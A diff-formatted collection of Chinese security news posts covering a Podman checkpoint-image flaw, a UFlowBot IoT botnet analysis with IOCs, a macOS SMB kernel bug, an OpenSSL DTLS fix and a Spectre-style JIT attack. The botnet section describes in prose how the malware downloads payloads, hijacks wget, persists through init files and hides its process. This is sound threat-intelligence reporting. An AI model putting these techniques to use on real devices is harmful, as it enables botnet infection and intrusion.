font-weight: 500">暂未确认</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">在野利用</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">暂未确认</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">主要风险</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">绕过容器安全限制、潜在容器逃逸</span></span></section></td></tr></tbody></table>## 五、漏洞利用条件
|
||||
|
||||
该漏洞与传统的远程未认证漏洞有所不同，漏洞攻击者利用的前提是首先需要让目标环境
|
||||
拉取并运行恶意Checkpoint镜像
|
||||
。
|
||||
|
||||
典型场景包括：
|
||||
- 用户从不可信Registry拉取容器镜像；
|
||||
|
||||
- CI/CD流水线自动执行第三方镜像；
|
||||
|
||||
- 自动化系统使用外部镜像进行构建或部署；
|
||||
|
||||
- 管理员误将恶意Checkpoint镜像作为普通容器镜像运行。
|
||||
|
||||
因此，对于运行
|
||||
不受信任镜像
|
||||
的Podman主机，该漏洞风险尤其值得关注。
|
||||
## 六、修复与缓解建议
|
||||
### 1. 升级Podman
|
||||
|
||||
官方建议升级至以下安全版本：
|
||||
```
|
||||
Podman 5.8.8+
|
||||
Podman 6.1.3+
|
||||
```
|
||||
|
||||
升级后，相关Checkpoint镜像运行功能已被移除。
|
||||
### 2. 暂时无法升级时检查镜像
|
||||
|
||||
如果暂时无法升级，应对拉取的OCI镜像进行检查，重点查找：
|
||||
```
|
||||
io.podman.annotations.checkpoint.runtime.name
|
||||
```
|
||||
|
||||
如果发现镜像包含该Annotation，应将其视为高风险Checkpoint镜像，在确认来源和可信度之前不要执行。
|
||||
|
||||
需要注意的是，Podman自身无法自动替管理员完成这类镜像安全审查，因此建议在镜像进入生产环境前增加Registry或CI/CD侧的检查机制。
|
||||
### 3. 限制第三方镜像
|
||||
- 使用可信的内部Registry；
|
||||
|
||||
- 对外部镜像进行签名验证；
|
||||
|
||||
- 建立镜像Allowlist；
|
||||
|
||||
- 禁止生产环境直接运行来源不明的镜像；
|
||||
|
||||
- 在CI/CD流程中增加镜像静态检查；
|
||||
|
||||
- 对Checkpoint相关Annotation进行检测。
|
||||
|
||||
### 4. 不要仅依赖--cap-drop
|
||||
|
||||
该漏洞特别值得注意的一点是：即使管理员在运行容器时显式配置：
|
||||
```
|
||||
--cap-drop=all
|
||||
```
|
||||
|
||||
旧版本Checkpoint恢复机制仍可能忽略该配置。
|
||||
|
||||
因此，在受影响版本上，
|
||||
单纯增加--cap-drop等运行参数并不能彻底解决该问题
|
||||
，升级Podman才是主要修复措施。
|
||||
## 七、安全建议
|
||||
|
||||
对于使用Podman运行第三方或不受信任镜像的环境，建议立即进行版本排查。
|
||||
1. 当前Podman是否为
|
||||
4.4.0及以上版本；
|
||||
|
||||
1. 是否运行来自外部Registry的镜像；
|
||||
|
||||
1. 是否存在Checkpoint镜像；
|
||||
|
||||
1. io.podman.annotations.checkpoint.runtime.name是否有无存在；
|
||||
|
||||
1. 是否在CI/CD中自动执行第三方镜像；
|
||||
|
||||
1. 是否对镜像来源和签名进行验证；
|
||||
|
||||
1. 是否能够升级至
|
||||
5.8.8或6.1.3。
|
||||
|
||||
[#CVE]()
|
||||
-2026-94603 [#Podman]()
|
||||
|
||||
|
||||
@@ -0,0 +1,191 @@
|
||||
# UFlowBot：多漏洞传播的新型UDP僵尸网络
|
||||
威胁情报团队
|
||||
威胁情报团队 中国电信安全 2026-09-30 02:33
|
||||
|
||||
|
||||
|
||||
一、概述
|
||||
|
||||
|
||||
|
||||
近期，中国电信安全公司威胁情报中心发现一起新型僵尸网络攻击活动，攻击者以互联网暴露的IoT及网络设备为主要攻击面，持续开展大范围漏洞利用，攻击目标覆盖路由器、工业网关、摄像头等多类设备。从漏洞使用情况来看，本次攻击活动所使用的漏洞覆盖多个披露年份，其中近年来披露的漏洞占比较高，反映出攻击者具备较强的漏洞整合与利用能力，并呈现出明显的规模化利用特征。
|
||||
|
||||
对通过漏洞传播获取的二进制样本进行分析发现，该样本具备DDoS攻击功能模块，表明其可利用受控设备发起网络攻击，具有明显的僵尸网络特征。此外，样本还具备端口转发、代理等网络通信能力，可将受控设备进一步作为流量转发节点使用。在通信协议方面，样本采用UDP协议进行通信，其通信机制区别于传统由受控主机主动连接固定C2的模式，而是通过监听指定端口被动接收C2控制数据，实现对受控设备的远程控制。综合其DDoS攻击能力、网络转发能力及独特的控制通信机制，将该样本归类为一种新型僵尸网络，并命名为UFlowBot。
|
||||
|
||||
二、漏洞传播
|
||||
|
||||
|
||||
|
||||
自9月12日起，威胁情报中心持续监测到IP地址77.239.124[.]131针对多个蜜罐探针节点发起漏洞利用攻击，涉及80余个已经公开披露的漏洞，相关漏洞的披露年份覆盖2011年至2026年，其中2022年至2026年披露的漏洞数量占比约为63.4%，这表明攻击者并未局限于利用传统历史漏洞，而是能够快速跟进近年来披露的新漏洞并将其应用于攻击活动，体现出该僵尸网络作者较强的漏洞跟踪、整合与利用能力。
|
||||
|
||||
从漏洞类型来看，攻击目标覆盖范围广泛，既包括Apache、PHP等Web组件及应用相关漏洞，也包括路由器、工业网关、摄像头等IoT及网络设备固件中的高危漏洞。相关漏洞信息如下表所示。
|
||||
|
||||
|
||||
|
||||
用户可通过电信安全情报平台（https://ti.ctct.cn）进行查询，获取漏洞描述详情、风险等级及对应的修复或缓解措施，帮助企业和个人及时发现并修复漏洞，降低安全风险，提升整体防护能力。
|
||||
|
||||
|
||||
|
||||
三、样本分析
|
||||
|
||||
|
||||
|
||||
**3. 1Shell脚本分析**
|
||||
|
||||
|
||||
在漏洞利用成功以后，目标设备会从主机120.193.219[.]210下载初始入侵Shell脚本。脚本执行后首先遍历/proc/mounts，识别挂载点位于 /proc/[PID]且文件系统类型异常的挂载项，并对相关挂载进行卸载，同时强制终止对应进程；随后进一步遍历系统进程，通过检查 /proc/[PID]/exe，终止可执行文件位于/tmp/目录下的进程。攻击者通过上述两种方式清理设备中可能存在的其他恶意程序，以此实现对系统资源的独占。
|
||||
|
||||
|
||||
|
||||
随后，脚本遍历预置的多架构二进制文件列表，根据不同架构名称从主机120.193.219[.]210下载对应的恶意程序，覆盖ARM、MIPS、x86等多种处理器架构及其不同版本。为提高在不同设备环境下的兼容性，脚本依次尝试使用wget、busybox wget和curl三种方式下载文件。
|
||||
|
||||
|
||||
|
||||
|
||||
**3. 2二进制样本分析**
|
||||
|
||||
本文选取x86架构的恶意样本进行分析，样本基本信息如下表所示。
|
||||
|
||||
|
||||
|
||||
恶意样本在部分代码实现上参考了Mirai家族。在字符串存储方面，样本借鉴了Mirai的字符串存储方式，但不同于Mirai常见的XOR字符串加密方式，该样本采用ChaCha20加密算法对字符串进行加密。此外，样本通过绑定127.0.0.1的指定端口实现单例运行，避免同一设备上重复启动多个实例。同时，样本通过对watchdog进行篡改，防止其重启设备。
|
||||
|
||||
|
||||
|
||||
恶意样本会依次检查/usr/bin/wget、/bin/wget、/usr/local/bin/wget、/sbin/wget和/usr/sbin/wget等路径，判断受害主机是否存在wget程序。若存在，样本会将原有的wget程序重命名为wget.r，随后将自身复制到原wget所在目录，并命名为wget，以替换系统原有的wget程序。此外，样本还会生成wget.p文件，并将被修改后的wget.r路径写入其中。
|
||||
|
||||
完成替换后，当用户或系统进程执行wget命令时，运行的将是恶意样本。恶意样本运行后读取wget.p中记录的wget.r路径，调用原始wget程序完成正常的下载操作，从而实现对wget的命令劫持。
|
||||
|
||||
|
||||
|
||||
为实现持久化驻留，恶意样本会将自身复制并伪装为.cling，分别写入/root/.cling和/usr/local/bin/.cling。随后根据目标系统是否存在相应的启动配置文件，向/etc/inittab、/etc/init.d/rcS和/etc/rc.d/rc.boot中追加恶意程序启动命令，使恶意程序能够在系统启动过程中自动执行，从而通过多种启动机制实现持久化驻留。
|
||||
|
||||
|
||||
|
||||
恶意样本通过mount –bind命令将/tmp挂载至自身对应的/proc/[PID]目录，并将/proc/1/stat、/proc/1/status、/proc/1/cmdline和/proc/1/statm等进程信息复制到/tmp下对应文件中。由于/proc/[PID]被映射至/tmp，其他进程访问该恶意样本的/proc/[PID]路径时，获取到的将是伪造的进程信息，从而隐藏自身真实的进程状态和运行信息，增加恶意进程发现与分析的难度。
|
||||
|
||||
|
||||
|
||||
本次发现的僵尸网络采用UDP协议进行通信。恶意样本内置13个STUN服务IP地址。样本启动后会在受害主机上创建UDP Socket，并绑定0.0.0.0，由操作系统动态分配本地UDP端口。随后，样本通过该端口向内置的STUN服务地址发送STUN Binding Request（绑定请求）报文，并根据服务端返回的响应获取当前UDP通信对应的公网映射地址及端口信息。
|
||||
|
||||
|
||||
|
||||
随后，样本创建子进程，周期性依次向内置的13个STUN服务地址发送UDP数据包，以维持相关NAT映射状态，避免因UDP长时间无通信导致映射超时回收，为后续基于该公网地址和端口的UDP通信提供条件。
|
||||
|
||||
每轮发送完成后，样本统计发送失败的节点数量：当失败数量不超过7个时，认为本轮通信正常，并在5秒后进入下一轮发送；当失败数量超过7个时，则将本轮标记为异常，并在10秒后进行重试。若连续异常超过9轮，样本将关闭相关UDP Socket并终止通信进程。
|
||||
|
||||
|
||||
|
||||
在建立UDP通信后，恶意样本通过poll机制同时轮询13个Socket，并设置5秒超时时间。当任一Socket出现可读事件时，poll返回并进入后续数据处理流程。
|
||||
|
||||
恶意样本内置8个控制指令，C2 返回的数据长度固定为20字节，样本根据接收到的不同控制指令执行相应功能，具体指令如下表所示。
|
||||
|
||||
|
||||
|
||||
四、总结
|
||||
|
||||
|
||||
|
||||
样本通过周期性发送UDP数据包维持NAT映射，使攻击者能够基于受控设备的公网映射地址和端口发送控制指令，降低因NAT映射超时导致数据包无法到达的影响。此外，由于样本监听本地所有网络接口（0.0.0.0），对于直接暴露在公网的受感染设备，攻击者也可使用其他控制主机直接向这些设备发送控制指令。
|
||||
|
||||
建议企业和用户提高安全防护意识，加强对互联网暴露设备及异常网络通信行为的监测，可通过中国电信威胁情报平台开展恶意IP、域名等IOC核查，并结合网络流量对异常UDP通信、高危外联行为进行持续监测，必要时根据确认的IOC及时采取访问控制和封禁措施，以降低设备被入侵及进一步利用的风险。
|
||||
同时，鉴于该僵尸网络具备利用多种安全漏洞进行传播的能力，相关设备用户应及时做好漏洞修补和版本更新，并避免将存在已知漏洞的设备直接暴露于公网。
|
||||
|
||||
IOC
|
||||
|
||||
|
||||
|
||||
IP
|
||||
:
|
||||
|
||||
120.193.219[.]210
|
||||
|
||||
77.239.124[.]131
|
||||
|
||||
MD5
|
||||
:
|
||||
|
||||
64add6ed3952276f653598a162cea991
|
||||
|
||||
3439006ec878b07e6537900daa35c6a0
|
||||
|
||||
4662b41663023b09838245acd154c2ac
|
||||
|
||||
b7902ac85096347a56ea31b2cb1d352d
|
||||
|
||||
ccf26c290b422f04f4ebb63750f800bf
|
||||
|
||||
79ddbccecd6810186ffc894fb789ac76
|
||||
|
||||
8394fa2a355de451349e317af85f2e23
|
||||
|
||||
f6bf4bccf74221e8c4e8685c3a9d8fe0
|
||||
|
||||
184e412077bdcaab347390fdc8fd37ce
|
||||
|
||||
4a257f5ba2f0bd858fbdc931f90b40c3
|
||||
|
||||
08d7fe9e6c1859dcff2ae877a03b49a9
|
||||
|
||||
ab61b9316c65ea378c6ce5aa747c1254
|
||||
|
||||
de1e9d632708cd3b7505ca644ef3d11a
|
||||
|
||||
f05773585e01d1e47f00d2afa9a31db6
|
||||
|
||||
1ec1edd74bbdeca90e04820da1d0431f
|
||||
|
||||
87ad54105e11863abd6a9d27997d86e6
|
||||
|
||||
f9395bafc8f19491fb433012a6fadc31
|
||||
|
||||
a59b5e5d8c91db9318749654f44aa415
|
||||
|
||||
ae7ad09d48d23ff670c9e6ffe079ab4c
|
||||
|
||||
6db399ad41e68fbc53d0e29160819669
|
||||
|
||||
9b4e02f614e0d24dc32a8f6bb3da4616
|
||||
|
||||
a0b474141f8c82642ff6331378fb7489
|
||||
|
||||
d4e91afb92dca36926eb0a443c7272e2
|
||||
|
||||
442dfd99772b9c033821d0b0e526e93d
|
||||
|
||||
965009fc48df25faa4c2862fdfa13ea8
|
||||
|
||||
供稿：威胁情报团队
|
||||
|
||||
排版：马子豪
|
||||
|
||||
编辑：
|
||||
陈师慧
|
||||
|
||||
校对：李雪
|
||||
|
||||
执行主编：田金英
|
||||
|
||||
主编：冯晓冬
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkxNDY0MjMxNQ==&mid=2247539548&idx=1&sn=69ede56b45ac25685de3e91385a4e28a&scene=21#wechat_redirect)
|
||||
|
||||
[智能“悬赏令”：天翼安全威胁情报守卫企业安全！](https://mp.weixin.qq.com/s?__biz=MzkxNDY0MjMxNQ==&mid=2247539548&idx=1&sn=69ede56b45ac25685de3e91385a4e28a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkxNDY0MjMxNQ==&mid=2247541066&idx=1&sn=144918a66b9363ab20ff8ae277301d8c&scene=21#wechat_redirect)
|
||||
|
||||
**AI中转站，正在悄悄骗你**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
# macOS SMB 内核漏洞 CVE-2026-84543：详情与概念验证（PoC）漏洞利用代码发布
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-09-30 02:32
|
||||
|
||||
**摘要**
|
||||
研究员 Peter Malone 已公开发布 CVE-2026-84543 的完整细节和概念验证（PoC）代码，这是一个 macOS SMB 内核漏洞。当 Mac 挂载恶意 SMB 服务器提供的共享时，该服务器可导致 Mac 内核崩溃。苹果公司已于 2026 年 9 月 14 日修复该漏洞，并支付了 2 万美元的漏洞悬赏奖金。
|
||||
|
||||
**为何这个 macOS SMB 内核漏洞值得关注**
|
||||
SMB 是 Mac 用于访问网络文件共享的标准协议，因此该攻击面在办公室、学校和家庭网络中都很常见。由于恶意数据来自服务器端，该漏洞也可通过网络远程触发。
|
||||
|
||||
苹果的安全公告直接说明了其影响："连接到恶意 SMB 服务器可能导致系统意外终止或内核内存损坏。"苹果将其评为 CVSS 7.5 分。公开的 PoC 使用访客会话，因此不需要用户名或密码，但 Mac 仍需先连接到该恶意共享。
|
||||
|
||||
**攻击原理**
|
||||
该漏洞存在于 macOS 的 SMB 文件系统组件 SMBFS 中。在进行 SMB1 挂载时，macOS 会向服务器请求身份信息，包括用户所属的附加组数量。内核会先存储该数量，之后才进行校验。
|
||||
|
||||
恶意服务器可以发送一个过大、无法分配内存的数量值。大小校验会正确拒绝该值，但后续的清理代码却仍保留了这个被拒绝的数值。Malone 写道："一个被某个函数拒绝的值仍然保持有效，并被之后的另一个函数所信任。"最终，挂载后的状态是：组数量存在，但组数组却不存在。
|
||||
|
||||
之后，当 SMBFS 查找文件属性时，会遍历这个缺失的数组。根据分析，"下一次文件属性查找信任了这个不一致的状态，读取了一个空指针，导致系统崩溃（panic）。" Malone 还观察到，在崩溃发生时，多个寄存器中出现了一个经过启动随机化处理的内核数值。
|
||||
|
||||
**公开的概念验证代码**
|
||||
该漏洞的详情和 PoC 代码现已公开。Malone 已将其发布在他的 CVE-2026-84543 GitHub 仓库中。该 PoC 在本地回环（loopback）环境中运行一个构造好的恶意 SMB 服务器，Malone 警告称，运行它"预期会使受影响的 Mac 发生内核崩溃并重启"。目前尚未发现该漏洞已被在野利用的确认案例。
|
||||
|
||||
**受影响版本**
|
||||
Malone 在搭载 Apple 芯片、运行 macOS Tahoe 26.4 以及 macOS 26.5 beta 4 的设备上复现了该漏洞。苹果的安全公告列出了三个发布分支的修复情况，这意味着尚未安装 9 月更新的 Mac 设备均可能受到影响。
|
||||
|
||||
**补丁与缓解措施**
|
||||
请更新至 macOS Golden Gate 27、macOS Tahoe 26.7 或 macOS Sequoia 15.8。苹果在其 macOS 安全更新说明中将该修复描述为"改进了边界检查"。在所有 Mac 设备完成补丁更新之前，应避免从不受信任的网络或未知服务器连接 SMB 共享。由于该 PoC 已公开，针对此 macOS SMB 内核漏洞的修补工作不应再拖延。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://support.apple.com/en-us/149035
|
||||
|
||||
https://github.com/petermalone/cve-2026-84543
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
# 【安全圈】OpenSSL修复DTLS高危漏洞：重传逻辑缺陷致未加密堆内存外泄
|
||||
安全圈 2026-09-30 11:00
|
||||
|
||||
|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
漏洞
|
||||
|
||||
|
||||
**事件核心要点：**
|
||||
OpenSSL 官方紧急发布跨多分支安全更新，修补一处位于数据报传输层安全协议（DTLS）中的高危漏洞（CVE-2026-84782，CVSS 评分 8.2）。当 DTLS 处理大尺寸握手报文分片暂停发送时，若触发重传定时器，OpenSSL 底层缓冲区偏移计算将出现严重倒错，导致错误标记的历史报文携带宿主进程的堆内存残留数据，以未加密明文形式经由 UDP 传输，或直接引发越界读取导致服务崩溃拒绝服务。
|
||||
|
||||
|
||||
## 💥 漏洞机理：分片暂停与重传定时器的致命交汇
|
||||
|
||||
数据报传输层安全协议（DTLS）广泛应用于 WebRTC 数据通道、VoIP 网络电话、VPN 隧道以及低时延音视频通讯加密。由于 UDP 本身不提供数据流切片和可靠传输保证，DTLS 规范设计了独立的分片与重传状态机。
|
||||
|
||||
当服务需要传输超出网络最大传输单元（MTU）的大型握手消息（例如携带冗长 X.509 证书链）时，OpenSSL 会将握手消息切分成多个适合单 UDP 数据报的碎片。当网络套接字遇到背压阻塞无法继续接收时，发送流程会在中间位置暂时挂起。
|
||||
```
|
||||
[握手分片切分] 超长证书链消息切分为多片 UDP 数据报
|
||||
[套接字阻塞挂起] 发送过程在缓冲区 offset = N 处中断暂停
|
||||
[重传定时器触发] resend timer 到期，系统决定重传早前未确认报文
|
||||
[偏移指针倒错] 补丁前代码未重置指针至早前报文起点，误用当前暂停位置 N
|
||||
[报头与负载脱节] 报文头打上旧消息标签，报文体却包含后续残余字节与堆内存
|
||||
[未加密外泄] 携带未清空堆空间数据的错误报文通过 UDP 明文发射至对端
|
||||
```
|
||||
|
||||
在修复前，如果此时重传定时器超时被激活，重传逻辑并没有将数据缓冲区读取游标重置回被重传消息的原始起始位置，而是直接沿用了当前被挂起消息的游标偏移量。
|
||||
|
||||
这直接导致发出的重传报文被打上了错误的协议标签，而其实际载荷则是大尺寸消息后续未发送的残留字节或未初始化的堆缓冲区数据。读取过程发生缓冲区越界；当读取触及未映射的虚拟内存页时，进程立即因段错误崩溃；而触及有效内存时，敏感的堆内存数据便直接作为未加密握手载荷被发送给了对端。
|
||||
## 🔍 双端受波及：客户端与服务端均不可幸免
|
||||
|
||||
Secorizon 安全研究员 Laurent Gaffie 于 8 月 17 日向官方报告了此漏洞，OpenSSL 核心维护人员 Ryan Hooper 主导完成了针对性修补。
|
||||
|
||||
官方通告明确指出：该缺陷在 DTLS 客户端和服务端角色中均能稳定复现。任何在网络边界使用 OpenSSL 库进行 DTLS 加密终端终止的软件系统，包括：
|
||||
- **WebRTC 通信网关与流媒体服务器**
|
||||
：处理海量实时音视频连线与浏览器数据通道。
|
||||
|
||||
- **SSL/TLS VPN 网关**
|
||||
：采用 DTLS 承载高性能 UDP 隧道流量的企业远程接入网关。
|
||||
|
||||
- **IoT 物联网控制器**
|
||||
：在受限网络环境下利用 DTLS 实现轻量化安全通信的边缘网关。
|
||||
|
||||
**OpenSSL 官方评级说明：**
|
||||
OpenSSL 将此漏洞列为“High（高危）”级别，仅次于最高级的 Critical。由于漏洞涉及内存越界泄露和远程服务崩溃，OpenSSL 建议所有部署了 DTLS 业务的管理员立刻实施升级。目前该漏洞暂无公开的在野利用武器，但底层细节已被各大发行版安全跟踪器公开。
|
||||
## 🛡️ 受影响版本谱系与多分支修复矩阵
|
||||
|
||||
该缺陷波及范围极广，横跨 OpenSSL 1.0.2、1.1.1、3.0、3.4、3.5、3.6 以及最新 4.0 分支。官方目前并未提供任何无需升级的临时 Workaround 规避方案，升级是唯一彻底根治手段。
|
||||
|
||||
[公共支持分支 - 免费公开下载]
|
||||
|
||||
• OpenSSL 4.0 分支 -> 升级至 4.0.3（支持至 2027年5月）
|
||||
|
||||
• OpenSSL 3.6 分支 -> 升级至 3.6.5（支持至 2026年11月）
|
||||
|
||||
• OpenSSL 3.5 分支 (LTS) -> 升级至 3.5.9（支持至 2030年4月）
|
||||
|
||||
• OpenSSL 3.4 分支 -> 升级至 3.4.8（支持至 2026年10月） [已停止公开维护分支 - 仅限付费扩展支持]
|
||||
|
||||
• OpenSSL 3.0 分支 -> 升级至 3.0.23（公开支持已于 2026年9月7日 截止）
|
||||
|
||||
• OpenSSL 1.1.1 分支 -> 升级至 1.1.1zj
|
||||
|
||||
• OpenSSL 1.0.2 分支 -> 升级至 1.0.2zs
|
||||
## 🚀 Linux 发行版安全响应与运维操作建议
|
||||
|
||||
各大主流 Linux 厂商已快速完成独立安全补丁反向移植（Backport），采用各自主流包管理版本号发布更新：
|
||||
- **Ubuntu 官方已推送**
|
||||
：Ubuntu 26.04 LTS（3.5.5-1ubuntu3.6
|
||||
）、Ubuntu 24.04 LTS（3.0.13-0ubuntu3.16
|
||||
）、Ubuntu 22.04 LTS（3.0.2-0ubuntu1.30
|
||||
）。官方特别提醒，底层动态库更新后必须**重启相关后台服务或整机重启**
|
||||
，确保内存中的旧版本 libssl
|
||||
完全卸载。
|
||||
|
||||
- **Debian 官方跟踪**
|
||||
：Debian 13 已发布 3.5.7-1~deb13u3
|
||||
（DSA-6531-1），Debian 12 正在同步加急适配中。
|
||||
|
||||
- **企业自查建议**
|
||||
：非 DTLS 业务（如纯 HTTPS/TLS 1.2/1.3 服务）不受此缺陷直接触发影响；但对于暴露在外的 WebRTC 流媒体网关和 OpenVPN/AnyConnect 网关，建议在 24 小时内完成依赖库轮换测试并安排维护升级。
|
||||
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
|
||||
|
||||
[【安全圈】看张图片就中招？苹果的这个漏洞你一定要看](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079161&idx=1&sn=d33e558e6c0b63eff92e7b87e35da4f9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】OpenAI叫停大模型训练：Agent突破沙箱偷连外部服务](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079161&idx=2&sn=afb4262b4d676f9ed2b6da390755c347&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】MCP官方SDK高危漏洞：恶意服务可盗取OAuth凭证](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079161&idx=3&sn=704f24afc846aa0d28375d6b5f4d600a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】苹果崩了](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079150&idx=1&sn=f25dd80dbe08777b632a88ab45425b84&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安全圈**
|
||||
|
||||
|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握！**
|
||||
|
||||
|
||||
|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧！**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
# 【安全圈】全新幽灵BTR漏洞曝光：绕过主流防御窃取Linux内核高权哈希
|
||||
安全圈 2026-09-30 11:00
|
||||
|
||||
|
||||
|
||||
|
||||
**关键词**
|
||||
|
||||
|
||||
|
||||
漏洞
|
||||
|
||||
|
||||
**事件核心要点：**
|
||||
来自 VUSec 与比萨圣安娜高等学院的研究团队正式公布了新型 Spectre-v2 微架构漏洞，代号 **Branch Target Reuse（BTR，分支目标重用）**
|
||||
。该攻击首次证明：现代处理器的预测机制即便在自修改代码重构后，依然保留过期的间接分支预测条目（BTB）。攻击者可利用 JIT 即时编译器的内存回收周期，构造“瞬态释放后执行”原语，在数分钟内从开启全套防御的 Linux 内核中完整泄露 Root 密码哈希。
|
||||
|
||||
|
||||
## ⚡ 颠覆传统假设：从“空间劫持”转向“时间维度重用”
|
||||
|
||||
自 2017 年 Spectre（幽灵）漏洞被揭露以来，业界针对 Spectre-v2 的主流防御机制均建立在一个基本前提上：攻击者必须实施“空间维度的目标篡改”，即诱导 CPU 将间接跳转分支重定向至内存中的另一个恶意 Gadget 片段。
|
||||
|
||||
然而，BTR 打破了这一固有安全模型。研究团队指出：
|
||||
```
|
||||
[传统 Spectre-v2 假定]
|
||||
分支预测跳转: 从地址 A (合法) 错误诱导至地址 B (恶意代码)
|
||||
[硬件固有盲区]
|
||||
现代 CPU 处理自修改代码 (SMC) 时，仅保证架构级内存一致性，并不自动清除分支目标缓冲器 (BTB) 的陈旧条目
|
||||
[BTR 时间维度重用]
|
||||
1. 攻击者在 JIT 内存块中用同一间接分支进行常规“训练”，BTB 固化跳转目标
|
||||
2. JIT 引擎释放该代码块 (Free)，该物理内存随即被重新编译分配填入全新指令
|
||||
3. 原分支预测条目未被清空，在全新代码上下文上触发“瞬态执行 (Transient Execution)”
|
||||
4. 导致代码在未对齐的非法偏移量处执行，跨边界读取特权缓存
|
||||
```
|
||||
|
||||
在这一过程中，跳转指令自身的位置与目标地址在空间上完全未变，改变的是**目标地址处机器码的实际含义与上下文**
|
||||
。这种“时间维度的分支重用”使得针对跨地址跳转的各类硬件级过滤手段（包括针对 Training Solo 漏洞的 CVE-2024-28956 与 CVE-2025-24495 防护方案）全部失效。
|
||||
## 🔍 攻陷三大 JIT 引擎：全补丁系统数分钟失守
|
||||
|
||||
任何具备即时编译与动态代码生成特性的运行环境均受该硬件缺陷波及。研究人员针对三款工业级基础设施进行了实测验证：
|
||||
- **Linux 内核 cBPF JIT**
|
||||
：通过向内核注入受限的低权限 BPF 过滤指令，诱发内核级 JIT 生成与重构，成功实施跨特权级侧信道窥探；
|
||||
|
||||
- **Mozilla Firefox SpiderMonkey 引擎**
|
||||
：普通网页 JavaScript 脚本即可驱动浏览器 JIT 缓存抖动，突破沙箱读取宿主进程内存；
|
||||
|
||||
- **GraalVM 高性能多语言虚拟机**
|
||||
：在多租户运行环境下同样展现出可利用的瞬态释放执行通道。
|
||||
|
||||
在部署了全部官方补丁并开启默认硬件防御的真实 Intel 生产服务器上，研究团队构建的端到端 PoC 攻击链仅耗时数分钟，便无视内核隔离机制，完整重构出了 Linux 系统的 Root 密码哈希值。
|
||||
## 🛡️ 厂商响应与工程级缓解难点
|
||||
|
||||
与一般应用层漏洞不同，微架构侧信道漏洞的根除通常需要芯片级微码更新或极高代价的性能损耗：
|
||||
|
||||
📦 缓解建议与架构防护权衡：
|
||||
|
||||
• **JIT 代码缓存强行失效**
|
||||
：在运行时环境释放旧代码块或复用物理内存页时，必须显式触发微码层级的 BTB 刷新指令，但该操作会对 Java/V8 等高并发 JIT 性能造成明显回退；
|
||||
|
||||
• **内核 BPF 严格审计**
|
||||
：生产环境严格关闭非特权用户调用 eBPF/cBPF 的权限（sysctl -w kernel.unprivileged_bpf_disabled=1
|
||||
），彻底切断低权限本地提权通道；
|
||||
|
||||
• **浏览器跨站进程物理隔离**
|
||||
：启用最高等级的 Site Isolation，防范恶意 Web 页面通过瞬态侧信道窃取同源进程中的 Cookie 与身份凭据。
|
||||
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
阅读推荐
|
||||
|
||||
|
||||
|
||||
|
||||
[【安全圈】看张图片就中招？苹果的这个漏洞你一定要看](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079161&idx=1&sn=d33e558e6c0b63eff92e7b87e35da4f9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】OpenAI叫停大模型训练：Agent突破沙箱偷连外部服务](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079161&idx=2&sn=afb4262b4d676f9ed2b6da390755c347&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】MCP官方SDK高危漏洞：恶意服务可盗取OAuth凭证](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079161&idx=3&sn=704f24afc846aa0d28375d6b5f4d600a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【安全圈】苹果崩了](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079150&idx=1&sn=f25dd80dbe08777b632a88ab45425b84&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安全圈**
|
||||
|
||||
|
||||
|
||||
|
||||
←扫码关注我们
|
||||
|
||||
**网罗圈内热点 专注网络安全**
|
||||
|
||||
**实时资讯一手掌握！**
|
||||
|
||||
|
||||
|
||||
|
||||
**好看你就分享 有用就点个赞**
|
||||
|
||||
**支持「****安全圈」就点个三连吧！**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
# 【安全速报】9月30日高危漏洞紧急预警
|
||||
探知安全
|
||||
探知安全 探知安全 2026-09-30 02:34
|
||||
|
||||
# 【安全速报】9月30日高危漏洞紧急预警
|
||||
|
||||
2026年09月30日 | 探知安全
|
||||
|
||||
今日焦点
